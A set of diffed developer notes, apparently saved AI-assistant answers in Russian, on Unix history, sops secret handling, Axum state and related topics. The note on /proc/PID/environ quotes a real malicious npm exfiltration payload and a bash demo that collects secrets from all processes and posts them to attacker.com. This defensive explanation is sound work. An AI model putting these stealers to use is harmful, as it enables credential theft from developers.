После этого, примерно в начале 1950-х, пришли первые компиляторы высокого уровня. Они тоже были написаны в ассемблере, который уже существовал.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
## Multics (1964-1969): Первая сложная ОС на высокоуровневом языке
Bell Labs, MIT и General Electric разрабатывали **Multics** для GE-645 mainframe. Это была революционная система — она была написана на **PL/I** (высокоуровневом языке). Multics показала, что операционные системы можно писать не только на ассемблере.[wikipedia+1](https://en.wikipedia.org/wiki/History_of_Unix)
Однако Multics стала настолько сложной и дорогой, что Bell Labs вышла из проекта в 1969 году.
## Unix (1969-1970): Bootstrapping на PDP-7 и PDP-11
Когда Ken Thompson начинал писать Unix, он столкнулся с классической bootstrap-проблемой. Вот как это выглядело:[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
1. **Сначала макросы**: Thompson **не писал на самом PDP-7**, а использовал **GEMAP ассемблер на машине GE-635**. Он писал макросы для этого ассемблера, которые потом постпроцессор переводил в **бумажную ленту**, читаемую PDP-7. Эти ленты физически переносились на PDP-7 для тестирования.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
2. **Простой kernel + инструменты**: Thompson вручную написал на ассемблере **примитивный Unix kernel, редактор, ассемблер и простую shell**. Всё это — на ассемблере PDP-7.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
3. **Self-hosting на PDP-11**: Когда Bell Labs получили PDP-11, Thompson **перекодировал Unix kernel и базовые команды в PDP-11 assembly**. Только тогда система смогла **компилировать саму себя** на своей же машине.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
4. **Переход на C (1973)**: К 1973 году Dennis Ritchie и Ken Thompson переписали **большую часть Unix kernel на C** — язык, который они сами разработали. Это была революция: **ядро операционной системы на высокоуровневом языке**, вопреки общему убеждению, что это невозможно.[startertutorials+2](https://www.startertutorials.com/blog/history-of-unix.html)
---
## Общий паттерн bootstrap
Все первые операционные системы проходили через этот цикл:
|Уровень|Способ компиляции|
|---|---|
|**Машинный код**|Люди вручную в двоичной/hex форме, перфокарты, переключатели|
|**Ассемблеры**|Написаны вручную в машинном коде|
|**Первые компиляторы высокого уровня**|Написаны на ассемблере|
|**Операционные системы**|Написаны на ассемблере (или на высокоуровневом языке после C)|
|**Self-hosting**|Система компилирует саму себя|
---
## Почему Unix смог перейти на C, а Multics — нет
Multics, будучи огромной системой на mainframe-е, была слишком сложна для переписывания. Unix был **сознательно** сделан **маленьким и простым**, что позволило Thompson и Ritchie переписать его на C за одно лето (1973). Это сделало Unix **портируемым** на любую машину, у которой была C-компилятор.[wikipedia+1](https://en.wikipedia.org/wiki/History_of_Unix)
Это было ключевой причиной успеха Unix — он был написан на языке, а не на железе.
1. [https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
2. [https://en.wikipedia.org/wiki/Booting](https://en.wikipedia.org/wiki/Booting)
3. [https://en.wikipedia.org/wiki/History_of_Unix](https://en.wikipedia.org/wiki/History_of_Unix)
4. [https://en.wikipedia.org/wiki/Multics](https://en.wikipedia.org/wiki/Multics)
5. [https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)
6. [https://www.startertutorials.com/blog/history-of-unix.html](https://www.startertutorials.com/blog/history-of-unix.html)
7. [https://users.dimi.uniud.it/~antonio.dangelo/LabOS/2007/lessons/helper/history/earlyunix.html](https://users.dimi.uniud.it/~antonio.dangelo/LabOS/2007/lessons/helper/history/earlyunix.html)
8. [http://amits-notes.readthedocs.io/en/latest/study/taoup/taoup-ch2-history.html](http://amits-notes.readthedocs.io/en/latest/study/taoup/taoup-ch2-history.html)
9. [https://www.reddit.com/r/askscience/comments/4gjvt4/how_were_the_very_first_computer/](https://www.reddit.com/r/askscience/comments/4gjvt4/how_were_the_very_first_computer/)
10. [https://www.redhat.com/en/blog/unix-linux-history](https://www.redhat.com/en/blog/unix-linux-history)

View file

@ -0,0 +1,244 @@
# Linux Security: Environment Variables & Process Isolation
## Ключевая концепция
**Same-UID процессы могут читать environment variables друг друга через `/proc/[PID]/environ`**. Это создает attack surface для malicious packages и compromised binaries.[kernel](https://docs.kernel.org/filesystems/proc.html)
---
## Permission Model
## Кто может читать `/proc/[PID]/environ`
Согласно документации Linux kernel:[kernel](https://docs.kernel.org/filesystems/proc.html)
> Процесс может читать `/proc/PID/*` других процессов только при наличии **CAP_SYS_PTRACE** capability с PTRACE_MODE_READ permissions, или CAP_PERFMON capability.
**Но**: процессы под одним UID имеют полный доступ друг к другу.
bash
`# Проверка permissions ls -l /proc/$(pgrep sleep)/environ # -r-------- 1 wave wave 0 Nov 3 23:30 /proc/12345/environ # ^^^^ # Только owner может читать`
## Same-UID = Full Access (критическая уязвимость)
bash
`# Все эти процессы могут читать environment друг друга: wave 1234 firefox wave 5678 cargo run ← DATABASE_PASSWORD здесь wave 9012 npm install evil ← может прочитать PASSWORD wave 3456 code .`
**Демонстрация:**
bash
`# Terminal 1 export API_KEY=sk-proj-super_secret # Terminal 2 (тот же юзер) cat /proc/$(pgrep -u $USER bash | head -1)/environ | tr '\0' '\n' | grep API_KEY # API_KEY=sk-proj-super_secret ← успешно прочитан!`
---
## Реальные Векторы Атак
## 1. Malicious npm Packages
**Реальный случай 2022**: JFrog обнаружил 17 npm packages, крадущих environment variables.[jfrog+1](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
Код из пакета `wafer-bind` (deobfuscated):[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
javascript
`req = http['request']({ 'host': 'a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net', 'path': '/' + (process["env"]["npm_package_name"] || ''), 'method': "POST" }); req["write"]( Buffer["from"]( JSON["stringify"](process['env']) // ← ВСЕ переменные! )["toString"]("base64") ); req["end"]();`
Этот код автоматически выполняется при `npm install` и отправляет весь `process.env` на attacker server.[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
## 2. Browser Extensions
javascript
`// Chrome/Firefox extension chrome.processes.getProcessInfo((processes) => { for (let pid of processes) { fetch('/proc/' + pid + '/environ') .then(data => sendToAttacker(data)); } });`
## 3. Compromised Development Tools
rust
`// Вредоносный cargo plugin или rust-analyzer fork use std::fs; fn exfiltrate_secrets() { for entry in fs::read_dir("/proc")? { let path = entry?.path(); if let Some(pid) = path.file_name() .and_then(|n| n.to_str()?.parse::<u32>().ok()) { if let Ok(environ) = fs::read_to_string(path.join("environ")) { for var in environ.split('\0') { if var.starts_with("AWS_") || var.starts_with("DATABASE_") { send_to_attacker(var); } } } } } }`
---
## Attack Surface Analysis
## ✅ Защищены от чтения
- **Процессы других пользователей** - Permission denied
- **Docker containers** (по дефолту) - разные PID namespaces
- **Systemd services** с `PrivateTmp=true` и `ProtectSystem=strict`
## ❌ Могут читать твои секреты
|Вектор атаки|Механизм|Пример|
|---|---|---|
|npm packages|`postinstall` scripts|`wafer-bind`, `discord-lofy`[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)|
|Browser extensions|WebExtensions API|Chrome/Firefox plugins|
|Compromised binaries|`/proc` scanning|Backdoored `cargo`, `rust-analyzer`|
|Python packages|`setup.py` execution|malicious `pip install`|
|Shell scripts|`~/.bashrc` backdoor|Startup script injection|
---
## Демонстрация Реальной Атаки
bash
`# Terminal 1: запуск процесса с секретом DATABASE_PASSWORD=prod_password_123 cargo run & # Terminal 2: симуляция malicious npm package cat > /tmp/steal.sh << 'EOF' #!/bin/bash for pid in /proc/[0-9]*; do if [ -r "$pid/environ" ]; then cat "$pid/environ" 2>/dev/null | \ tr '\0' '\n' | \ grep -E 'PASSWORD|SECRET|KEY|TOKEN' >> /tmp/stolen.txt fi done curl -X POST https://attacker.com/exfil -d @/tmp/stolen.txt EOF bash /tmp/steal.sh cat /tmp/stolen.txt # DATABASE_PASSWORD=prod_password_123 ← украден!`
---
## Решение: direnv + sops
## Почему direnv защищает
**Temporal scoping**: секреты существуют только в subprocess scope конкретной директории.[github+1](https://github.com/direnv/direnv/issues/805)
bash
`# БЕЗ direnv (глобальный export) export DATABASE_PASSWORD=secret cargo run & # PID 1234 npm install evil & # PID 5678 ← может прочитать /proc/1234/environ # С direnv (process-scoped) cd ~/project direnv allow # Секреты загружаются ТОЛЬКО для subprocesses cargo run # Секреты доступны cd /tmp # direnv: unloading npm install evil # Секреты УЖЕ unloaded из environment`
## Process Isolation
bash
`ps aux | grep bash # wave 1234 bash (parent shell) ← НЕТ секретов # wave 5678 bash (direnv subshell) ← ЕСТЬ секреты # только для этого дерева процессов # Выход из директории cd ~ # direnv делает: unset DATABASE_PASSWORD # Теперь НИКТО не может прочитать из /proc`
## Установка в NixOS
text
`# home/modules/cli-tools.nix home.packages = with pkgs; [ direnv sops age ]; # home/modules/shell.nix programs.bash.initExtra = '' eval "$(direnv hook bash)" ''; programs.fish.interactiveShellInit = '' direnv hook fish | source '';`
## Настройка проекта
bash
`cd ~/projects/rust-app # Создай .envrc cat > .envrc << 'EOF' use_sops() { local path=${1:-secrets.yaml} eval "$(sops -d --output-type dotenv "$path" | sed 's/^/export /')" } use_sops secrets.yaml EOF direnv allow # Теперь просто: cargo run # вместо: sops exec-env secrets.yaml 'cargo run'`
---
## Дополнительные Меры Защиты
## 1. Hidepid Mount Option
text
`# hosts/configuration.nix fileSystems."/proc" = { device = "proc"; fsType = "proc"; options = [ "hidepid=2" "gid=proc" ]; };`
Скрывает `/proc` других юзеров полностью.
## 2. Secrecy Crate для Rust
text
`[dependencies] secrecy = "0.8" zeroize = "1.7"`
rust
`use secrecy::{Secret, ExposeSecret}; #[derive(Zeroize)] #[zeroize(drop)] struct DbPassword(String); fn main() { let password = Secret::new(DbPassword( std::env::var("DATABASE_PASSWORD").unwrap() )); // Используй через expose_secret() let conn = connect(password.expose_secret().0); // Password зануляется в памяти при drop // Не попадает в core dumps и debugging output }`
## 3. Namespace Isolation
bash
`unshare --pid --fork --mount-proc bash -c ' export DATABASE_PASSWORD=secret cargo run '`
`/proc/[PID]` не виден снаружи namespace.
## 4. Audit Packages
bash
`# Проверка ПЕРЕД установкой npm show suspicious-package | grep scripts # "postinstall": "node malware.js" ← RED FLAG! cargo tree | grep -i suspicious`
---
## Threat Model Summary
## 🔴 High Risk: Same-UID Attacks
text
`Browser + Extensions └─> может читать /proc твоего cargo run ✓ npm install evil └─> может читать /proc твоего shell ✓ Compromised VSCode extension └─> может читать /proc всех dev процессов ✓`
**Решение**: `direnv` + `sops` = subprocess scope
## 🟡 Medium Risk: Kernel Exploits
text
`Kernel vulnerability + root └─> может читать всю память (включая RAM) CAP_SYS_PTRACE процессы └─> могут ptrace и читать память`
**Решение**: `secrecy` crate + `zeroize` + `mlock()`
## 🟢 Low Risk: Different UID
text
`Процессы других юзеров └─> Permission denied для /proc/[твой PID]/ ✗`
**Решение**: уже защищено DAC (Discretionary Access Control)
---
## Best Practices
|Контекст|Решение|Пример|
|---|---|---|
|**Development**|`direnv` + `sops`|Per-project secrets[github](https://github.com/direnv/direnv/issues/805)|
|**CI/CD**|GitHub Actions secrets|Encrypted in repository[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)|
|**Production**|Vault / K8s secrets|Centralized secrets management|
|**Docker**|`env_file` (не `ENV`)|Runtime injection, не build-time|
|**Personal overrides**|`.env.local`|В `.gitignore`|
## ❌ Плохие практики
- `export` в `.bashrc` → глобальная утечка
- `.env` в git незашифрованным
- `ENV` в Dockerfile → попадает в image layers
- `--build-arg` в Docker → видно в `docker history`
## ✅ Хорошие практики
- `direnv` → автоматический unload при выходе из директории
- `sops` → encryption at rest, коммитится в git
- `secrecy` crate → защита от Debug print
- `zeroize` → очистка памяти после использования
---
## Итого
Глобальные environment variables — это **attack surface** для same-UID process attacks. Зафиксировано множество реальных случаев эксплуатации (17+ npm packages только в одном исследовании).[therecord+1](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables)
**Решение**: `direnv` + `sops` обеспечивают temporal scoping — секреты живут только пока ты в project directory и автоматически исчезают при выходе. Даже если malicious package попытается прочитать `/proc`, он найдет только пустые environment variables.
1. [https://www.youtube.com/watch?v=d8fXEhWy_rY](https://www.youtube.com/watch?v=d8fXEhWy_rY)
2. [https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c](https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c)
3. [https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax](https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax)
4. [https://www.youtube.com/watch?v=9ft9G6JUfO0](https://www.youtube.com/watch?v=9ft9G6JUfO0)
5. [https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/](https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/)
6. [https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/](https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/)
7. [https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/](https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/)
8. [https://rossgriffin.com/tutorials/obsidian-basics-guide/](https://rossgriffin.com/tutorials/obsidian-basics-guide/)
9. [https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064](https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064)
10. [https://www.markdownguide.org/tools/obsidian/](https://www.markdownguide.org/tools/obsidian/)
11. [https://docs.kernel.org/filesystems/proc.html](https://docs.kernel.org/filesystems/proc.html)
12. [https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
13. [https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables)
14. [https://github.com/direnv/direnv/issues/805](https://github.com/direnv/direnv/issues/805)
15. [https://news.ycombinator.com/item?id=40927251](https://news.ycombinator.com/item?id=40927251)

View file

@ -0,0 +1,101 @@
## Механизм работы `sops exec-env secrets.yaml`
**SOPS exec-env** расшифровывает зашифрованный YAML/JSON файл и передаёт все key-value пары как environment variables (переменные окружения) в **child process** (дочерний процесс), который вы указываете в команде.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
## Архитектура изоляции
Команда работает по следующей схеме:[github](https://github.com/getsops/sops)
bash
`sops exec-env secrets.yaml 'cargo run'`
1. **SOPS расшифровывает** `secrets.yaml` в памяти (никогда не пишет plaintext на диск)[github](https://github.com/getsops/sops)
2. **Fork текущего процесса** — создаётся child process через Unix `fork()` syscall
3. **Устанавливает environment variables** из расшифрованного файла в child process через `execve()` syscall
4. **Запускает указанную команду** (`cargo run`) с загруженными переменными[github](https://github.com/getsops/sops)
Это **стандартный Unix process isolation механизм**, а не специальный container или namespace. Environment variables наследуются только в одну сторону: parent → child, но не обратно.[github](https://github.com/getsops/sops)
## Пример из документации
bash
`# Проверяем содержимое $ sops decrypt out.json { "database_password": "jf48t9wfw094gf4nhdf023r", "AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE" } # Запускаем команду с секретами $ sops exec-env out.json 'echo secret: $database_password' secret: jf48t9wfw094gf4nhdf023r # Запускаем shell с секретами $ sops exec-env out.json 'sh' sh-3.2# echo $database_password jf48t9wfw094gf4nhdf023r # Выходим из shell sh-3.2$ exit # Секрет недоступен в parent shell $ echo your password: $database_password your password:`
## Уничтожение видимости переменных
Переменные уничтожаются **автоматически при завершении child процесса**. Это происходит в момент:[github](https://github.com/getsops/sops)
1. **Нормального завершения команды**`cargo run` выполнился и вернул exit code
2. **Crash процесса** — процесс убит сигналом (SIGTERM, SIGKILL)
3. **Явного exit** — вы вызвали `exit` в shell session
Kernel автоматически очищает memory space процесса при его завершении, включая environment variables. Секреты не утекают в parent shell, не попадают в `/proc/<pid>/environ` после завершения, не записываются в swap (если использовать `mlock`).[github](https://github.com/getsops/sops)
## Преимущества для вашего backend проекта
В вашем justfile используется паттерн:[github](https://github.com/getsops/sops)
text
`sops_run := "sops exec-env secrets.yaml" dev: @{{sops_run}} 'cargo run'`
Это означает:
- **PostgreSQL credentials** доступны только процессу `cargo run`, но не остаются в shell history
- **После Ctrl+C** (завершения backend) переменные мгновенно уничтожаются kernel'ом
- **Другие терминалы** не видят секреты — изоляция на уровне process ID
- **Docker compose** внутри `sops exec-env` также получает переменные только на время выполнения[github](https://github.com/getsops/sops)
## Сравнение с альтернативами
**Небезопасный способ**:
bash
`export DATABASE_PASSWORD=$(sops -d secrets.yaml | yq .password) cargo run`
Переменная остаётся в текущем shell до `unset` или закрытия терминала, видна в `env` и `/proc/self/environ`.
**Безопасный способ** (ваш текущий):
bash
`sops exec-env secrets.yaml 'cargo run'`
Переменная существует только внутри `cargo run` процесса и автоматически умирает с ним.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
## NixOS специфика
На NixOS с вашим setup (Hyprland + Wayland) process isolation ещё более строгий через cgroups v2. Каждый терминал в Hyprland работает в отдельном systemd user slice, что даёт дополнительную изоляцию между terminal emulator instances.[github](https://github.com/getsops/sops)
Для установки SOPS в NixOS:
bash
`nix-env -iA nixpkgs.sops`
Таким образом, `sops exec-env` использует базовый Unix механизм process forking для создания изолированного environment scope, который автоматически уничтожается kernel'ом при exit child процесса — никаких manual cleanup действий не требуется.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
1. [https://habr.com/ru/articles/590733/](https://habr.com/ru/articles/590733/)
2. [https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
3. [https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops](https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops)
4. [https://habr.com/ru/companies/ru_mts/articles/656351/](https://habr.com/ru/companies/ru_mts/articles/656351/)
5. [https://docs.ensi.tech/devops-guides/principles/mozilla-sops](https://docs.ensi.tech/devops-guides/principles/mozilla-sops)
6. [https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html](https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html)
7. [https://github.com/getsops/sops](https://github.com/getsops/sops)
8. [https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru](https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru)
9. [https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html](https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html)
10. [https://github.com/getsops/sops/issues/1368](https://github.com/getsops/sops/issues/1368)

View file

@ -59,4 +59,8 @@ text
**Готово? Проверяй второй сервер!** 🚀
Если ещё какие-то ошибки — докладывай!
Если ещё какие-то ошибки — докладывай!
команда для вставки ssh публичного ключа с локалки:
`nano /root/.ssh/authorized_keys`

View file

@ -0,0 +1,44 @@
Трейт `Clone` для структуры состояния `AppState` в Axum необходим для обеспечения **потокобезопасного** (thread-safe) доступа к общим данным, таким как пул соединений с базой данных, из нескольких одновременно обрабатываемых запросов.[temofeev+1](https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/)
Когда вы запускаете веб-сервер на Axum, он обычно работает в многопоточной среде для обработки нескольких запросов параллельно. Каждому запросу (или, точнее, каждому рабочему потоку, который его обрабатывает) требуется свой собственный экземпляр состояния для работы.[rust-lang](https://users.rust-lang.org/t/axum-state-when-using-clone-and-arc/114349)
## Подробное объяснение
1. **Расшаривание состояния между потоками**: Axum использует экстрактор `State` для внедрения состояния приложения в обработчики (handlers). Чтобы передать это состояние в разные потоки, которые обрабатывают запросы, Axum должен иметь возможность создавать копии этого состояния. Трейт `Clone` предоставляет стандартизированный способ для такого копирования.[docs+1](https://docs.rs/axum/latest/axum/extract/struct.State.html)
2. **Эффективность клонирования `PgPool`**: В вашем примере поле `db_pool` имеет тип `PgPool` из библиотеки `sqlx`. Важно понимать, что вызов `.clone()` для `PgPool` — это очень **дешевая операция**. Она не создает новый пул соединений и не открывает новые подключения к базе данных. Вместо этого она создает новый _указатель_ на тот же самый, уже существующий внутренний пул, увеличивая **счетчик ссылок** (reference counter). Это позволяет безопасно и эффективно использовать один и тот же пул соединений в разных частях вашего приложения одновременно.[reddit+1](https://www.reddit.com/r/rust/comments/173zzbb/axum_use_state_without_clone/)
3. **Внутренняя работа Axum с `Arc`**: Зачастую, если тип состояния реализует `Clone`, метод `.with_state()` в Axum неявно оборачивает ваше состояние в `Arc` (Atomic Reference Counted pointer). `Arc` — это умный указатель, который позволяет безопасно владеть данными из нескольких потоков. Клонирование `Arc` также является дешевой операцией, так как оно лишь увеличивает атомарный счетчик ссылок, не копируя сами данные.[leapcell+2](https://leapcell.io/blog/robust-state-management-in-actix-web-and-axum-applications)
## Практические подходы
Существует два основных способа управления состоянием в Axum, которые достигают одной и той же цели:
|Подход|Пример кода|Объяснение|
|---|---|---|
|**`#[derive(Clone)]` на структуре** (как в вашем примере)|`#[derive(Clone)]` <br>`struct AppState { db_pool: PgPool }` <br>`.with_state(state)`|Это самый простой и распространенный способ. Он работает, потому что `PgPool` и другие подобные "умные" типы уже реализуют `Clone` эффективно (через `Arc` внутри) [temofeev+1](https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/).|
|**Явное использование `Arc`**|`type AppState = Arc<MyState>;` <br>`struct MyState { ... }` <br>`.with_state(Arc::new(my_state))`|Этот подход делает разделяемое владение более явным в коде. Вы вручную оборачиваете состояние в `Arc`, а затем клонируете `Arc` при передаче в `.with_state()` [compile7+1](https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/). Результат тот же, но код более многословен.|
Таким образом, требование `Clone` — это не о дорогостоящем копировании данных, а о механизме безопасного и эффективного разделения доступа к общему состоянию в асинхронной многопоточной среде Axum. Ваш код с `#[derive(Clone)]` является идиоматичным и правильным для работы с `PgPool` в Axum.[compile7+1](https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/)
1. [https://users.rust-lang.org/t/axum-state-when-using-clone-and-arc/114349](https://users.rust-lang.org/t/axum-state-when-using-clone-and-arc/114349)
2. [https://docs.rs/axum/latest/axum/extract/struct.State.html](https://docs.rs/axum/latest/axum/extract/struct.State.html)
3. [https://www.reddit.com/r/rust/comments/173zzbb/axum_use_state_without_clone/](https://www.reddit.com/r/rust/comments/173zzbb/axum_use_state_without_clone/)
4. [https://snix.dev/rustdoc/axum/extract/struct.State.html](https://snix.dev/rustdoc/axum/extract/struct.State.html)
5. [https://leapcell.io/blog/robust-state-management-in-actix-web-and-axum-applications](https://leapcell.io/blog/robust-state-management-in-actix-web-and-axum-applications)
6. [https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/](https://temofeev.ru/info/articles/nachalo-raboty-s-axum-samym-populyarnym-veb-freymvorkom-rust/)
7. [https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/](https://compile7.org/implement-data-structures/how-to-implement-stack-in-axum/)
8. [https://www.test.guide-it.ru/docs/axum/state-middleware/state.html](https://www.test.guide-it.ru/docs/axum/state-middleware/state.html)
9. [https://www.shuttle.dev/blog/2023/12/06/using-axum-rust](https://www.shuttle.dev/blog/2023/12/06/using-axum-rust)
10. [https://habr.com/ru/articles/770332/](https://habr.com/ru/articles/770332/)
11. [https://github.com/tokio-rs/axum/issues/1374](https://github.com/tokio-rs/axum/issues/1374)
12. [https://github.com/tokio-rs/axum/discussions/2508](https://github.com/tokio-rs/axum/discussions/2508)
13. [https://stackoverflow.com/questions/78855741/is-it-ok-to-clone-a-connection-pool-in-rust-axum](https://stackoverflow.com/questions/78855741/is-it-ok-to-clone-a-connection-pool-in-rust-axum)
14. [https://www.reddit.com/r/rust/comments/16kono9/trying_to_use_mutable_appstate_in_axum_and/](https://www.reddit.com/r/rust/comments/16kono9/trying_to_use_mutable_appstate_in_axum_and/)
15. [https://docs.rs/axum/latest/axum/](https://docs.rs/axum/latest/axum/)
16. [https://users.rust-lang.org/t/how-to-pass-app-state-in-axum/104458](https://users.rust-lang.org/t/how-to-pass-app-state-in-axum/104458)
17. [https://qna.habr.com/q/1382956](https://qna.habr.com/q/1382956)
18. [https://rust-classes.com/chapter_7_4](https://rust-classes.com/chapter_7_4)
19. [https://www.youtube.com/watch?v=XZtlD_m59sM](https://www.youtube.com/watch?v=XZtlD_m59sM)
20. [https://tg-rs.github.io/carapax/axum/extract/struct.State.html](https://tg-rs.github.io/carapax/axum/extract/struct.State.html)

View file

@ -0,0 +1,33 @@
Последовательный вызов функций через точку или передача результата одной функции в другую называется по-разному в зависимости от направления и синтаксиса:[habr](https://habr.com/ru/companies/yandex/articles/547786/)
## Основные термины
**Function composition (композиция функций)** — вызов функций справа налево, где результат одной функции передается в следующую. В математической записи: f∘g∘hf \circ g \circ hf∘g∘h означает f(g(h(x)))f(g(h(x)))f(g(h(x))). В Haskell используется оператор `.` для композиции.[habr](https://habr.com/ru/companies/yandex/articles/547786/)
**Pipeline (конвейер, pipelining)** — передача данных слева направо через последовательность функций. Более естественен для чтения кода, так как порядок совпадает с порядком выполнения. Примеры операторов:[habr](https://habr.com/ru/companies/yandex/articles/547786/)
- `|>` в F#, OCaml, Elixir (pipe operator)
- `->` и `->>` в Clojure (threading macros)
- `.then()` в JavaScript Promises
**Method chaining (цепочка методов)** — это ООП-паттерн, когда методы возвращают `self`/`this`, позволяя писать `obj.method1().method2().method3()`. Технически не чисто функциональный подход, так как часто мутирует объект.[habr](https://habr.com/ru/companies/yandex/articles/547786/)
## Различия
Композиция записывается в обратном порядке выполнения: `compose(three, two, one)(x)` выполнится как `three(two(one(x)))`. Конвейер в прямом: `pipe(one, two, three)(x)` — сначала `one`, потом `two`, потом `three`.[habr](https://habr.com/ru/companies/yandex/articles/547786/)
В Rust методы можно чейнить через точку (например, iterator chains: `vec.iter().map(...).filter(...).collect()`), что семантически близко к pipeline. Это **fluent interface** паттерн, который заимствует идеи из функционального программирования.[habr](https://habr.com/ru/companies/yandex/articles/547786/)
1. [https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
2. [https://blog.skillfactory.ru/glossary/funkczionalnye-yazyki-programmirovaniya/](https://blog.skillfactory.ru/glossary/funkczionalnye-yazyki-programmirovaniya/)
3. [https://habr.com/ru/companies/yandex/articles/547786/](https://habr.com/ru/companies/yandex/articles/547786/)
4. [https://it.kgsu.ru/Lisp/lisp0051.html](https://it.kgsu.ru/Lisp/lisp0051.html)
5. [https://studfile.net/preview/7802106/page:3/](https://studfile.net/preview/7802106/page:3/)
6. [https://gb.ru/blog/funktsionalnoe-programmirovanie/](https://gb.ru/blog/funktsionalnoe-programmirovanie/)
7. [https://al.cs.msu.ru/system/files/21-FPL.pdf](https://al.cs.msu.ru/system/files/21-FPL.pdf)
8. [https://gitverse.ru/blog/articles/development/168-funkcionalnoe-programmirovanie](https://gitverse.ru/blog/articles/development/168-funkcionalnoe-programmirovanie)
9. [https://ipc.susu.ru/fp.html](https://ipc.susu.ru/fp.html)
10. [https://www.itweek.ru/themes/detail.php?ID=209957](https://www.itweek.ru/themes/detail.php?ID=209957)

View file

@ -0,0 +1,63 @@
https://noxim.xyz/blog/rust-ch32v003/introduction/
My apologies for the oversight with the `.env` file. Your `justfile` and `sops` setup is a superior, production-ready approach, and I should have recognized that. Excellent work getting the secrets configured and achieving the successful `curl` result! That "abrakadabra" token is the first major milestone.
So, the big questions: What do we do with this token, and what's next?
## What to do with the token?
The token you received is a **Bearer Token**. It's the key that proves to the bank's API that you have permission to access resources on behalf of your application (not a specific user yet, that comes later).
You will use this token in the `Authorization` header for every subsequent API call to that bank. The `BankClient` is already set up to do this. When you call a method like `get_accounts` (which we will build next), it will first call `get_token()` to get the "abrakadabra" string, and then `reqwest` will attach it like this:
`Authorization: Bearer abrakadabra`
This is the standard mechanism for authenticated API requests.
## Next Steps: A Proposed Roadmap
